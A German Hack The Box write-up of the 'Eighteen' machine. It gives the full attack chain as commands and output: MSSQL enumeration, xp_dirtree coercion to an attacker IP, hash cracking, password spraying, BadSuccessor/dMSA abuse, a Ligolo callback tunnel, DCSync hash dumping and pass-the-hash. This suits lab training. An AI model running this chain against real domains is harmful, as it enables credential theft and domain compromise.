HTB · published
Eighteen
Hack The Box Machine Writeup für Eighteen: MSSQL-Enumeration mit initialen Credentials, Flask/Werkzeug-Hash-Crack, WinRM-Foothold als adam.scott, BadSuccessor/dMSA auf Windows Server 2025 und DCSync zu Administrator.
Metadaten
- Name: Eighteen
- IP Address:
10.129.213.133 - Plattform: Windows
- Kategorie: Active Directory / MSSQL / Kerberos
- Schwierigkeit: Unbekannt
- Ziel(e): User, Administrator/Domain
- Kurzbeschreibung des Szenarios: Eighteen startet mit bekannten Zugangsdaten und führt über MSSQL-Enumeration, eine Flask-Anwendung, einen geknackten Werkzeug-Hash und WinRM zu einem Domänenbenutzer. Die finale Eskalation basiert auf BadSuccessor/dMSA in einer Windows Server 2025 Active-Directory-Umgebung.
Reconnaissance/ Enumeration
initscan:
nmap -p- --min-rate 10000 -T4 -v -n -oN 10.129.213.133-initial.nmap 10.129.213.133
PORT STATE SERVICE
80/tcp open http
5985/tcp open wsman
servicescan:
nmap -sV -sC -T4 -v -n -p 80,5985,1433 -oN 10.129.213.133-services.nmap 10.129.213.133
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00
Die MSSQL-Informationen lieferten direkt wichtige AD-Hinweise:
Target_Name: EIGHTEEN
NetBIOS_Domain_Name: EIGHTEEN
NetBIOS_Computer_Name: DC01
DNS_Domain_Name: eighteen.htb
DNS_Computer_Name: DC01.eighteen.htb
Lokale Host-Auflösung:
echo "10.129.213.133 eighteen.htb" | sudo tee -a /etc/hosts
Auf Port 80 lief eine Financial-Planning-Webanwendung unter:
http://eighteen.htb/
Eine erste Web-Enumeration zeigte unter anderem:
admin 302
dashboard 302
features 200
logout 302
login 200
register 200
Nach einer Registrierung mit einem Testbenutzer konnte die Flask-Session dekodiert werden:
flask-unsign --decode --cookie '<cookie>'
{'full_name': 'bobo', 'user_id': 1007, 'username': 'bobo'}
Das Brute-Forcing des Flask-Secrets mit rockyou.txt brachte keinen Treffer und blieb ein Dead End.
Die bereitgestellten Credentials funktionierten gegen MSSQL:
nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth
[+] DC01\kevin:iNa2we6haRj2gaw!
Die Rechte waren eingeschränkt, aber für Enumeration ausreichend:
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
CONNECT SQL
VIEW ANY DATABASE
Mit xp_dirtree ließ sich außerdem eine NTLMv2-Authentifizierung des MSSQL-Serviceaccounts auslösen:
exec master..xp_dirtree '\\10.10.14.118\share'
Responder fing daraufhin einen NetNTLMv2-Hash für EIGHTEEN\mssqlsvc ab. Der Hash selbst war für den weiteren Weg nicht nötig.
MSSQL-RID-Bruteforce zeigte mehrere interessante Domänenobjekte:
Administrator
Guest
krbtgt
Domain Admins
HR
IT
Finance
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green
Die Datenbank-Enumeration zeigte eine interessante Anwendungsdatenbank:
master
tempdb
model
msdb
financial_planner
Über SQL-Login-Impersonation konnte von kevin zu appdev gewechselt werden:
SELECT * FROM fn_my_permissions('appdev','LOGIN');
EXECUTE AS LOGIN='appdev';
Danach ließ sich die Tabelle financial_planner.dbo.users auslesen. Besonders relevant war der Admin-Hash:
username: admin
email: admin@eighteen.htb
is_admin: 1
password_hash: pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
Der Werkzeug/PBKDF2-Hash konnte mit einem kleinen Python-Check gegen eine Wortliste geknackt werden:
from werkzeug.security import check_password_hash
target = "pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133"
with open("/usr/share/wordlists/rockyou.txt", errors="ignore") as wordlist:
for password in wordlist:
password = password.strip()
if check_password_hash(target, password):
print(password)
break
Treffer:
iloveyou1
Exploitation (Foothold)
Der geknackte Admin-Web-Hash wurde gegen bekannte Domänenbenutzer gesprüht:
nxc winrm eighteen.htb -u users.txt -p 'iloveyou1' --no-bruteforce
[+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
Damit war ein WinRM-Foothold möglich:
evil-winrm -i eighteen.htb -u adam.scott -p 'iloveyou1'
whoami
eighteen\adam.scott
User Flag:
9dde3[REDACTED-USER-FLAG]a69c
Der Benutzer war Mitglied der Gruppe EIGHTEEN\IT:
EIGHTEEN\IT
BUILTIN\Remote Management Users
Die wichtigsten Privileges:
SeMachineAccountPrivilege Enabled
SeChangeNotifyPrivilege Enabled
SeIncreaseWorkingSetPrivilege Enabled
Lateral Movement / User Escalation
Ein klassischer Machine-Account-Weg über Powermad scheiterte:
New-MachineAccount -MachineAccount WS1337 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
The server cannot handle directory requests.
Die normale ACL-Enumeration war zunächst unspektakulär. Interessant wurde es erst über die gezielte Prüfung auf BadSuccessor:
BadSuccessor -Mode Check -Domain eighteen.htb
[+] Windows Server 2025 DCs found. BadSuccessor may be exploitable!
DC01.eighteen.htb Windows Server 2025 Datacenter
Die relevante Berechtigung lag auf der OU Staff:
OU=Staff,DC=eighteen,DC=htb
ActiveDirectoryRights: CreateChild
IdentityReference: EIGHTEEN\IT
Da adam.scott Mitglied von EIGHTEEN\IT war, konnte in dieser OU ein dMSA-Objekt erstellt und für BadSuccessor missbraucht werden.
Privilege Escalation (Root / Domain)
BadSuccessor-Exploit:
BadSuccessor -Mode Exploit `
-Domain "eighteen.htb" `
-Path "OU=Staff,DC=eighteen,DC=htb" `
-Name "bad_DMSA" `
-DelegatedAdmin "adam.scott" `
-DelegateTarget "Administrator"
Successfully created and configured dMSA 'bad_DMSA'
Object adam.scott can now impersonate Administrator
Ein erster Rubeus-Versuch mit RC4 scheiterte, weil der KDC den EType nicht akzeptierte:
KDC_ERR_ETYPE_NOTSUPP
Mit AES256 funktionierte der TGT für adam.scott:
Invoke-Rubeus -Command "asktgt /user:adam.scott /aes256:02F93F7E9E128C32449E2F20475AFCDFB6CC2B4444AC8FD0B02406AF018F75E5 /domain:eighteen.htb /nowrap"
Danach wurde ein dMSA-Ticket für bad_DMSA$ angefordert:
.\Rubeus.exe asktgs `
/targetuser:bad_DMSA$ `
/service:krbtgt/eighteen.htb `
/opsec /dmsa /nowrap /ptt `
/ticket:<adam_scott_tgt> `
/outfile:C:\temp\bad_dmsa.kirbi
Das Ticket wurde anschließend für Linux-Tools konvertiert:
python3 ticketConverter.py bad_dmsa.kirbi bad_dmsa.ccache
export KRB5CCNAME=$(pwd)/bad_dmsa.ccache
Da SMB nicht direkt erreichbar war, wurde ein Ligolo-Tunnel genutzt:
.\ligolo-agent.exe -connect 10.10.14.18:11601 -ignore-cert
ligolo-ng proxy -laddr 0.0.0.0:11601
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.0/24 dev ligolo
SMB war danach über die Ligolo-Magic-IP erreichbar:
nmap -p 445 240.0.0.1
445/tcp open microsoft-ds
Ein Stolperstein war die Kerberos-Zeitabweichung:
KRB_AP_ERR_SKEW(Clock skew too great)
Nach Zeitsynchronisierung konnte DCSync über Impacket ausgeführt werden:
KRB5CCNAME=/path/to/bad_dmsa.ccache \
python3 secretsdump.py \
-k -no-pass -just-dc-ntlm \
-dc-ip 240.0.0.1 \
-target-ip 240.0.0.1 \
eighteen.htb/bad_DMSA\$@dc01.eighteen.htb
Relevante Auszüge:
Administrator:500:aad3...:0b133be956bfaddf9cea56701affddec:::
krbtgt:502:...:a7c7a912503b16d8402008c1aebdb649:::
mssqlsvc:1601:...:c44d16951b0810e8f3bbade300966ec4:::
adam.scott:1609:...:9964dae494a77414e34aff4f34412166:::
bad_DMSA$:12607:...:63f82bef58aacc45c6060ded2d39d770:::
Mit dem gedumpten Administrator-Hash war anschließend der Zugriff als Administrator möglich:
evil-winrm -i eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddec
Root Flag:
59891[REDACTED-ROOT-FLAG]9dcc
Post-Exploitation
- User Flag:
9dde3[REDACTED-USER-FLAG]a69c - Root Flag:
59891[REDACTED-ROOT-FLAG]9dcc - Wichtige Accounts:
kevin,appdev,adam.scott,bad_DMSA$,Administrator - Wichtige Gruppe:
EIGHTEEN\IT - Wichtige OU:
OU=Staff,DC=eighteen,DC=htb - Kritische Berechtigung:
CreateChildfürEIGHTEEN\IT - Entscheidender Angriffspfad: MSSQL-Datenbankzugriff → Werkzeug-Hash-Crack → WinRM → BadSuccessor/dMSA → Kerberos-Tickets → DCSync
Lessons Learned
- Kerberos ist extrem empfindlich bei Zeitabweichungen;
KRB_AP_ERR_SKEWsollte früh geprüft werden. - dMSA-/BadSuccessor-Tickets haben ein enges Zeitfenster und sollten frisch erzeugt werden.
- Für DCSync reicht ein gutes Ticket allein nicht aus; SMB/LDAP-Erreichbarkeit muss ebenfalls stimmen.
- Ligolo mit Magic-IP-Routing ist stark, aber kleine Routing- oder Target-IP-Fehler brechen Impacket-Flows schnell.
- Impacket wählt Service Principal Names nicht immer so, wie man intuitiv erwartet; explizite Service-Tickets können nötig sein.
-just-dc-ntlmist kein Abkürzungszauber, sondern braucht weiterhin einen sauberen Kerberos- und Netzwerkpfad.- Die vollständige Kette bestand aus TGT, dMSA/S4U, Service-Ticket,
kirbizuccache, Tunnel und erst danachsecretsdump.
Notizen
- Der Flask-Secret-Bruteforce war ein Dead End, aber die Session-Struktur half beim Verständnis der Webapp.
- Der NetNTLMv2-Hash von
mssqlsvcwar interessant, aber nicht der Hauptpfad. VIEW ANY DATABASEplus Login-Impersonation war der entscheidende MSSQL-Schlüssel.- Der eigentliche Domain-Admin-Weg entstand nicht durch klassische Privileges, sondern durch OU-Rechte der Gruppe
EIGHTEEN\IT.